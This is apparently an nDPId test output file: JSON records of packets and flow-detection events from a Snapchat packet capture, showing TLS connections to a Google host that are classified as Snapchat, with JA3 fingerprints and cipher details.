+00437{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431417993,"pkt_ts_usec":318652,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8f1tAAEAG3k0KCAABSn2IjYHRAbtgYhiTAAAAAKAC\/\/8GegAAAgQFtAQCCAoAKmfIAAAAAAEDAwY="} +00409{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431417993,"pkt_ts_usec":319843,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAalAABAGjBRKfYiNCggAAQG7gdGfnedsYGIYlFAS\/\/9PMgAA"} +00409{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431417993,"pkt_ts_usec":322345,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAof1xAAEAG3mAKCAABSn2IjYHRAbtgYhiUn53nbVAQ\/\/9PMwAA"} +00718{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431417993,"pkt_ts_usec":373192,"pkt_caplen":280,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":280,"pkt_l4_len":246,"pkt":"ABoRAAACABoRAAABCABFAAEKf11AAEAG3X0KCAABSn2IjYHRAbtgYhiUn53nbVAY\/\/9LawAAFgMBAN0BAADZAwNQUkrj\/NwhWGN+74t6DO1OzXkqPZ7NjCRqFpHWgKKF7SB5P2Jy9UHDO3+nUN7rdggpnyyuKLgakXSnjHmueU\/o1AAswCvALMAvwDAAngCfwAnACsATwBQAMwA5ADIAOMAHwBEAnACdAC8ANQAFAP8BAABkAAsABAMAAQIACgA0ADIADgANABkACwAMABgACQAKABYAFwAIAAYABwAUABUABAAFABIAEwABAAIAAwAPABAAEQANACAAHgYBBgIGAwUBBQIFAwQBBAIEAwMBAwIDAwIBAgICAw=="} +00775{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"snapchat.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1431417993318,"flow_last_seen":1431417993373,"flow_tot_l4_data_len":326,"flow_min_l4_data_len":20,"flow_max_l4_data_len":246,"flow_avg_l4_data_len":81,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"74.125.136.141","src_port":33233,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"36e9ceaa96dd810482573844f78a063f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431417993,"pkt_ts_usec":375603,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAa5AABAGjA9KfYiNCggAAQG7gdGfnedtYGIZdlAQ\/\/9OUQAA"} +00600{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431417993,"pkt_ts_usec":476626,"pkt_caplen":191,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":191,"pkt_l4_len":157,"pkt":"ABoRAAACABoRAAABCABFAACxAa9AABAGi4VKfYiNCggAAQG7gdGfnedtYGIZdlAY\/\/8EngAAFgMDAFECAABNAwNVUbSJQinlln\/8edE+8CspXRzVGNkcjqtzNcG7sXtSrCB5P2Jy9UHDO3+nUN7rdggpnyyuKLgakXSnjHmueU\/o1MAvAAAF\/wEAAQAUAwMAAQEWAwMAKAAAAAAAAAAAf2zZevNRbfwJe\/A1K5Q+MDebGGO+Uf8ZeAUlLlz2nCI="} +00829{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"snapchat.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1431417993318,"flow_last_seen":1431417993476,"flow_tot_l4_data_len":503,"flow_min_l4_data_len":20,"flow_max_l4_data_len":246,"flow_avg_l4_data_len":83,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"74.125.136.141","src_port":33233,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"36e9ceaa96dd810482573844f78a063f","ja3s":"fbe78c619e7ea20046131294ad087f05","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +00409{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431417993,"pkt_ts_usec":479525,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAof15AAEAG3l4KCAABSn2IjYHRAbtgYhl2n53n9lAQ\/\/9NyAAA"} +00480{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431417993,"pkt_ts_usec":533668,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"ABoRAAACABoRAAABCABFAABbf19AAEAG3ioKCAABSn2IjYHRAbtgYhl2n53n9lAY\/\/\/n2gAAFAMDAAEBFgMDAChjpkAEFO1Imock9wPzUl61uVUbhQtDgFJLyjkYPfyHn3wBcQOiHJ+Z"} +00409{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431417993,"pkt_ts_usec":534065,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAbNAABAGjApKfYiNCggAAQG7gdGfnef2YGIZqVAQ\/\/9NlQAA"} +00666{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431417993,"pkt_ts_usec":534248,"pkt_caplen":235,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":235,"pkt_l4_len":201,"pkt":"ABoRAAACABoRAAABCABFAADdf2BAAEAG3acKCAABSn2IjYHRAbtgYhmpn53n9lAY\/\/8m\/wAAFwMDALBjpkAEFO1Im7ts7r9vIMM5uHkPA\/yBTyfRRzAGAH5A+yTbBmvQrg4bMm38fceyN4A3oL7ebB2KJZ\/\/+0N4q0T27fvdooYsha8TnDhL0Hp\/8Cykk7hvPnTbb1F\/VzChhtgIxWxY+\/kb1lZZ72J\/OFY7Gy6eGp211rWHidq+f6syv1L9octxVv3M0YMqviBQw6+lIPlRQ1aT6Fa6mpsOiZVclxU2AQ+r8nYUsE97cyWFTg=="} +00411{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431417993,"pkt_ts_usec":534493,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAbRAABAGjAlKfYiNCggAAQG7gdGfnef2YGIaXlAQ\/\/9M4AAA"} +01137{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431417993,"pkt_ts_usec":534828,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJAf2FAAEAG3EMKCAABSn2IjYHRAbtgYhpen53n9lAQ\/\/+7rQAAFwMDAyJjpkAEFO1InFuL7PegJ5aZt7UbyHCucmYjkh8cDwiMViQWAyhcPEgXRBh52WYs8bbds8SCoxXFo49C2n3DHEIC088k11Jrpeq31\/o+Hut+XBE8e8rWxDX89K5erAsfRBYirWdv0wF+IYU9xudlutSwjKHfV8cZ0J5XCtXmZXVJr1FiGJ6qz+ABfjdxkPCB1GlLDK0XYYWWpzZhgHSi3WAm4gRRXP1FUp3hRUfCyfotBPw5Pu3UW4FTRztGot4aqqWRS6fsoxTiFqQxCK7dRgu0H0BrR9cbsf2uY6Q3iBzJbOR3LxxUGoSEhdBS6UNaj7kiAjmYnUim9Bxh+dbIwHwqLoGlr8is+bZr5jqr7OvA6TvIgoTgVf6LT2paGZ+0eX6J98u+wg4+3J4eRn0XEbuky9JkFfslAmMo53gMw9loLfIW4WcRJugOAIyJmUoJiIVdj\/P4TWC4GV2zsW5\/QKreqHxbwhCUxTB2l4cQN\/gQJVXUQcZWRGhOJUG9LtAOeZ7Cze\/eneoaNbo1VIDn3W6j76B5PwKA7RBmFFFA40h3Ndu3pN02USR\/tw40bUhYVQWM9cLksoN29MJq0w8O9r7a4wgDR4Q8Ks4FMywt+gfcGU21zMewcdasPUnDzJlDFWqZmP2a1BOeN1JjF\/lhPdriIAqRE4Nj72sjraiksnXgIWAripOfm5ZxvWyLltQIXzlBA38="} +00411{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431417993,"pkt_ts_usec":535072,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAbVAABAGjAhKfYiNCggAAQG7gdGfnef2YGIcdlAQ\/\/9KyAAA"} +00785{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431417993,"pkt_ts_usec":535256,"pkt_caplen":325,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":325,"pkt_l4_len":291,"pkt":"ABoRAAACABoRAAABCABFAAE3f2JAAEAG3UsKCAABSn2IjYHRAbtgYhx2n53n9lAY\/\/\/YKQAAVnC0jR2z5CJlKZ8fFFQ8iRLZP172ZMrsOdo1SYpVQsQaoADocXdPgUrE0Pnq5UHQfeORu9\/czCm6OlgNS+YaLiqXdxksA+wiCdfpYmwCi\/6Nxlq6\/m3RaHuR0Z5xjL1StUO4mzH5UcsjkROn7NVe5vAVF9H7hWfYf\/LMtivYeaNQDAYnc3CoO6FCTYqyAICPE\/ljwAR\/YlV9wUHpuGfK0MtD6UAN8xX92tRW7hWhs8asthEs+J5bfrnZcCHsBVGhsRvljOga8XVhi50v4xcKnca3jR4+GaR5e519J810NayxCAAqQKIp2HbcxnASL94+PONXQoAPl3MQQEgb7UxHoAnlIFIkYEl4mj9MR2B6yQ=="} +00411{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431417993,"pkt_ts_usec":535622,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAbZAABAGjAdKfYiNCggAAQG7gdGfnef2YGIdhVAQ\/\/9JuQAA"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":23,"source":"snapchat.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1431418008131,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"74.125.136.141","src_port":44536,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":131807,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8OQ1AAEAGJJwKCAABSn2Ija34AbvuolTmAAAAAKAC\/\/8JnAAAAgQFtAQCCAoAKm3rAAAAAAEDAwY="} +00410{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":132967,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAeJAABAGi9tKfYiNCggAAQG7rfgRXasZ7qJU51AS\/\/8jCwAA"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":25,"source":"snapchat.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1431418008133,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"74.125.136.141","src_port":56193,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":133607,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8wNFAAEAGnNcKCAABSn2IjduBAbsrgq06AAAAAKAC\/\/9G3wAAAgQFtAQCCAoAKm3rAAAAAAEDAwY="} +00411{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":135133,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAeRAABAGi9lKfYiNCggAAQG724HUfVLFK4KtO1AS\/\/\/1gQAA"} +00410{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":135378,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoOQ5AAEAGJK8KCAABSn2Ija34AbvuolTnEV2rGlAQ\/\/8jDAAA"} +00411{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":136568,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAowNJAAEAGnOoKCAABSn2IjduBAbsrgq071H1SxlAQ\/\/\/1ggAA"} +01111{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":138643,"pkt_caplen":571,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":571,"pkt_l4_len":537,"pkt":"ABoRAAACABoRAAABCABFAAItOQ9AAEAGIqkKCAABSn2Ija34AbvuolTnEV2rGlAY\/\/+krQAAFgMBAgABAAH8AwOhEVtKJFbmMdITP5FzjInwHIS\/R2esElHqAErlmxUy8CACAgRWcgR9w4k0fccFDBFgltGnL9Eev8AwahrxGVyDbwAcwCvALwCewArACcATwBQAMwAyADkAnAAvADUA\/wEAAZcAAAAhAB8AABxmZWVsaW5zb25pY2UtaHJkLmFwcHNwb3QuY29tAAsABAMAAQIACgA0ADIADgANABkACwAMABgACQAKABYAFwAIAAYABwAUABUABAAFABIAEwABAAIAAwAPABAAEQAjAMS7WjP546+2lF\/TKyZI1bqIDoSMpbWj033whzxbUsavA0etyrZ4bKy5YSQsnhoz8RnY+\/yWt\/LQE9Z6ryY2tS2fDeIY9FtoXb0PXCAhPOZ9PZLgbr5sz9tAG9IyywPJZ6z79yL6zaCwJFb69s170JD9vfS74pAn3H8WYSxk9sXMidEjgizByb1wRsJYo7f11VDDw7z51tPC3nJwPfffTWJrmhbc9Lbb832t4bcLlJFcU\/yNM14PJqZdRRsDPXFzlk5o6fcwAA0AIAAeBgEGAgYDBQEFAgUDBAEEAgQDAwEDAgMDAgECAgIDABAACwAJCGh0dHAvMS4xABUAMwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00739{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":29,"source":"snapchat.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":4,"flow_first_seen":1431418008131,"flow_last_seen":1431418008138,"flow_tot_l4_data_len":617,"flow_min_l4_data_len":20,"flow_max_l4_data_len":537,"flow_avg_l4_data_len":154,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"74.125.136.141","src_port":44536,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Snapchat","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"feelinsonice-hrd.appspot.com","ja3":"fded31ac9b978e56ce306f8056092f2a","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1"}} +00410{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":141329,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAedAABAGi9ZKfYiNCggAAQG7rfgRXasa7qJW7FAQ\/\/8hBwAA"} +01111{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":141878,"pkt_caplen":571,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":571,"pkt_l4_len":537,"pkt":"ABoRAAACABoRAAABCABFAAItwNNAAEAGmuQKCAABSn2IjduBAbsrgq071H1SxlAY\/\/8b8QAAFgMBAgABAAH8AwNZW7OoopxmUl9aAmMbvJ5KlPrEhizm1d1wyfHascr\/qiACAgRWcgR9w4k0fccFDBFgltGnL9Eev8AwahrxGVyDbwAcwCvALwCewArACcATwBQAMwAyADkAnAAvADUA\/wEAAZcAAAAhAB8AABxmZWVsaW5zb25pY2UtaHJkLmFwcHNwb3QuY29tAAsABAMAAQIACgA0ADIADgANABkACwAMABgACQAKABYAFwAIAAYABwAUABUABAAFABIAEwABAAIAAwAPABAAEQAjAMS7WjP546+2lF\/TKyZI1bqIDoSMpbWj033whzxbUsavA0etyrZ4bKy5YSQsnhoz8RnY+\/yWt\/LQE9Z6ryY2tS2fDeIY9FtoXb0PXCAhPOZ9PZLgbr5sz9tAG9IyywPJZ6z79yL6zaCwJFb69s170JD9vfS74pAn3H8WYSxk9sXMidEjgizByb1wRsJYo7f11VDDw7z51tPC3nJwPfffTWJrmhbc9Lbb832t4bcLlJFcU\/yNM14PJqZdRRsDPXFzlk5o6fcwAA0AIAAeBgEGAgYDBQEFAgUDBAEEAgQDAwEDAgMDAgECAgIDABAACwAJCGh0dHAvMS4xABUAMwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00739{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":31,"source":"snapchat.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":4,"flow_first_seen":1431418008133,"flow_last_seen":1431418008141,"flow_tot_l4_data_len":617,"flow_min_l4_data_len":20,"flow_max_l4_data_len":537,"flow_avg_l4_data_len":154,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"74.125.136.141","src_port":56193,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Snapchat","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"feelinsonice-hrd.appspot.com","ja3":"fded31ac9b978e56ce306f8056092f2a","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1"}} +00411{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":142062,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAehAABAGi9VKfYiNCggAAQG724HUfVLGK4KvQFAQ\/\/\/zfQAA"} +00618{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":294053,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"ABoRAAACABoRAAABCABFAADAAetAABAGizpKfYiNCggAAQG7rfgRXasa7qJW7FAY\/\/+zsAAAFgMDAGACAABcAwNVUbSYnv8lFkwrP3tkn4HenuHfYNVayyWpsUxN9vxrPCACAgRWcgR9w4k0fccFDBFgltGnL9Eev8AwahrxGVyDb8AvAAAU\/wEAAQAAEAALAAkIaHR0cC8xLjEUAwMAAQEWAwMAKAAAAAAAAAAAXacoUY2XPyBFJGfEF3Th1vw79TgzZopqWjm3nxKar8M="} +00793{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":33,"source":"snapchat.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":6,"flow_first_seen":1431418008131,"flow_last_seen":1431418008294,"flow_tot_l4_data_len":809,"flow_min_l4_data_len":20,"flow_max_l4_data_len":537,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"74.125.136.141","src_port":44536,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Snapchat","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"feelinsonice-hrd.appspot.com","ja3":"fded31ac9b978e56ce306f8056092f2a","ja3s":"7bee5c1d424b7e5f943b06983bb11422","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"http\/1.1"}} +00620{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":294450,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"ABoRAAACABoRAAABCABFAADAAexAABAGizlKfYiNCggAAQG724HUfVLGK4KvQFAY\/\/9r2QAAFgMDAGACAABcAwNVUbSYmROcimMu8n3UiA4V9o6+qZRQpBjKJ9EfdyRo\/iACAgRWcgR9w4k0fccFDBFgltGnL9Eev8AwahrxGVyDb8AvAAAU\/wEAAQAAEAALAAkIaHR0cC8xLjEUAwMAAQEWAwMAKAAAAAAAAAAADDcXv+W8vtUMi18PvtyGNW\/DmWyzX37WYnllu2M793g="} +00793{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":34,"source":"snapchat.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":6,"flow_first_seen":1431418008133,"flow_last_seen":1431418008294,"flow_tot_l4_data_len":809,"flow_min_l4_data_len":20,"flow_max_l4_data_len":537,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"74.125.136.141","src_port":56193,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Snapchat","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"feelinsonice-hrd.appspot.com","ja3":"fded31ac9b978e56ce306f8056092f2a","ja3s":"7bee5c1d424b7e5f943b06983bb11422","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"http\/1.1"}} +00410{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":295945,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoORBAAEAGJK0KCAABSn2Ija34AbvuolbsEV2rslAQ\/\/8gbwAA"} +00411{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":296189,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAowNRAAEAGnOgKCAABSn2IjduBAbsrgq9A1H1TXlAQ\/\/\/y5QAA"} +00482{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":296495,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"ABoRAAACABoRAAABCABFAABbORFAAEAGJHkKCAABSn2Ija34AbvuolbsEV2rslAY\/\/9RZwAAFAMDAAEBFgMDACg\/yxy\/isn7sp4msLqfjCgWlkRFGBF2Q3Vx+rR9jOq2HtyKTSD1PBM5"} 